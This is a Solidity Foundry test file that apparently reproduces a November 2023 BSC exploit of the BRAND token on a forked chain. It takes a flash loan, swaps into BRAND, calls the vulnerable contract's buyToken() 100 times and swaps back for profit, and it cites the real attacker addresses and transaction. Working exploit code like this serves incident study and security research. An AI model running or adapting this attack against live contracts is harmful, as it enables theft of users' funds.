src/test/2023-11/BRAND_exp.sol

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "./../interface.sol";
5 
6// @KeyInfo -- Total Lost : ~23 WBNB
7// TX : https://app.blocksec.com/explorer/tx/bsc/0x19ef4febcd272643642925d5d7e9ab8fd3ed8785c5e3268f5b6fee44ae6b4a34
8// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502
9// Attack Contract : https://bscscan.com/address/0xf994f331409327425098feecfc15db7fabf782b7
10// GUY : https://x.com/MetaSec_xyz/status/1720035913009709473
11 
12contract Exploit is Test {
13    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
14    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
15    IPancakePair Pair = IPancakePair(0x88fF4f62A75733C0f5afe58672121568a680DE84);
16    IERC20 BRAND = IERC20(0x4d993ec7b44276615bB2F6F20361AB34FbF0ec49);
17    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
18    IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
19    address Vulncontract = 0x831d6F9AA6AF85CeAD4ccEc9B859c64421EEeFD4;
20 
21    function setUp() external {
22        cheats.createSelectFork("bsc", 33_139_124);
23    }
24 
25    function testExploit() external {
26        emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", WBNB.balanceOf(address(this)), 18);
27        DPP.flashLoan(300 ether, 0, address(this), abi.encode(3));
28        emit log_named_decimal_uint("[End] Attacker WBNB after exploit", WBNB.balanceOf(address(this)), 18);
29    }
30 
31    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
32        swap_token_to_token(address(WBNB), address(BRAND), 300 ether);
33        uint256 i = 0;
34        while (i < 100) {
35            address(Vulncontract).call(abi.encodeWithSignature("buyToken()"));
36            i++;
37        }
38        swap_token_to_token(address(BRAND), address(WBNB), BRAND.balanceOf(address(this)));
39        WBNB.transfer(msg.sender, baseAmount);
40    }
41 
42    function swap_token_to_token(address a, address b, uint256 amount) internal {
43        IERC20(a).approve(address(Router), amount);
44        address[] memory path = new address[](2);
45        path[0] = address(a);
46        path[1] = address(b);
47        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
48    }
49}